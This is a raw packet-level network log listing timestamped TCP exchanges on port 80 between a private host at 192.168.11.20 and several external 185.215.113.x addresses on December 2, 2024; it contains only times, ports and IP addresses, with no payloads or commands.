Dec 2, 2024 11:20:54.144565105 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.144613028 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.144687891 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.144736052 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.144747019 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.144757032 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.144897938 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.144948006 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.144952059 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.145008087 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.145076036 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.145109892 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.145204067 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.145225048 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.145235062 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.145260096 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.145354033 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.145354033 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.145456076 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.145509958 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.145576954 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.145613909 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.145709038 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.145725012 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.145808935 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.145832062 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.145951033 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.145998955 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.146044970 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.146105051 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.146219969 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.146394014 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.146447897 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.146457911 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.146682024 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.146697044 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.146739960 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.146955967 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.451567888 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.451585054 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.451595068 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.451770067 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.451771975 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.451787949 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.451803923 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.451927900 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.451927900 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.452028990 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.452110052 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.452122927 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.452266932 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.452266932 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.452317953 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.452455997 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.452475071 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.452485085 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.452558041 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.452564001 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.452672958 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.452689886 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.452756882 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.452814102 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.452867985 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.452913046 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.452996016 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.453051090 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.453107119 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.453118086 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.453128099 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.453211069 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.453301907 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.453305006 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.453367949 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.453545094 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.453630924 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.453665972 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.453778028 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.453778028 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.454173088 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.454372883 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.454479933 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.454523087 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.454642057 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.454652071 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.454652071 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.454674006 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.454807997 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.454904079 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.454953909 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455008030 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455039978 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455085993 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455117941 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455128908 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.455236912 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455255032 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.455281973 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455373049 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455394983 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.455493927 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.455586910 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455599070 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.455635071 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455666065 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455746889 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.455746889 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.455751896 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455796957 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.455935001 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.456001043 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.456033945 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.456073046 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.456120014 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.456227064 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.456301928 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.456317902 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.456387043 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.456434965 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.456496954 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.456545115 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.456582069 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.456597090 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.456644058 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.456737041 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.456780910 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.456958055 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.456975937 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.457089901 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.457127094 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.457227945 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.457238913 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.457346916 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.457387924 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.457391977 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.457526922 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.457566023 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.457632065 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.457673073 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.457777023 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.457890034 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.457922935 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.457953930 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.458024025 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.458070040 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.458112001 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.458118916 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.458144903 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.458225012 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.458312035 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.458323002 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.458369970 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.458374977 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.458488941 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.458585024 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.458631039 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.458739042 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.458785057 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.458873034 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.458909035 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.458956003 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.458993912 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.459034920 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.459095001 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.459100008 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.459137917 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.459177971 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.459362984 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.459366083 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.459399939 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.459494114 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.459494114 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.459613085 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.459647894 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.459742069 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.459743023 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.459743023 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.459870100 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.459880114 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.459903955 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.460079908 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.460131884 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.460180044 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.460211992 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.460242033 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.460345984 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.460350990 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.460427046 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.460469961 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.460506916 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.460638046 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.460669994 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.460676908 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.460768938 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.460768938 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.460879087 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.460952044 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.460989952 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.461036921 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.461090088 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.461114883 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.461236000 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.461256981 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.461349010 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.461430073 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.461504936 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.461635113 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.461668968 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.461805105 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.461846113 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.462034941 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.462084055 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.462090969 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.462219954 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.462269068 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.462284088 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.462332010 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.462363958 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.462508917 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.462534904 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.462565899 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.462688923 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.462769032 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.462801933 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.462884903 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.462948084 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.462992907 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.463012934 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.463038921 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.463143110 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.463155031 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.463233948 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.463254929 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.463288069 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.463402987 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.463468075 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.463510036 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.463548899 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.463593960 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.463637114 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.463819981 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.463866949 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.463911057 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.463989973 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.464001894 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.464001894 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.464035034 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.464112043 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.464225054 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.464293003 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.464302063 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.464380980 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.464430094 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.464493990 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.464525938 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.464538097 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.464617968 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.464715958 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.464771032 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.464793921 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.464875937 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.465032101 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.465048075 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.465082884 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.465095997 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.465126991 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.465197086 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.465229988 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.465261936 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.465296984 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.465380907 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.465543985 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.465560913 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.465583086 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.465626955 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.465677977 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.465727091 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.465750933 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.465785027 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.465795040 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.465917110 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.466026068 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.466058969 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.466104031 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.466238022 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.466242075 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.466289043 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.466396093 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.466418028 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.466519117 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.466562033 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.466603994 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.466607094 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.466666937 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.466666937 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.466763973 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.466784954 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.466926098 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.467036009 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.467068911 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.467231035 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.467264891 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.467274904 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.467355013 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.467355967 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.467448950 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.467533112 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.467588902 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.467619896 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.467667103 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.467761993 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.467855930 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.467905045 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.467935085 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.467995882 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.468044996 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.468092918 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.468138933 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.468189955 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.468219995 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:54.468307018 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.468369007 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:54.742852926 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:54.742907047 CET	49750	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:54.935597897 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:54.935846090 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:55.064496994 CET	80	49750	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:55.064697981 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:55.064776897 CET	49750	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:55.064899921 CET	49750	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:55.386344910 CET	80	49750	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:55.890142918 CET	80	49750	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:55.890460968 CET	49750	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:57.527117968 CET	49750	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:57.528146029 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:21:04.296545982 CET	49751	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:04.620079041 CET	80	49751	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:04.620316982 CET	49751	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:04.620452881 CET	49751	80	192.168.11.20	185.215.113.43
Dec 2, 2024 11:21:04.943687916 CET	80	49751	185.215.113.43	192.168.11.20
Dec 2, 2024 11:21:04.944557905 CET	80	49751	185.215.113.43	192.168.11.20
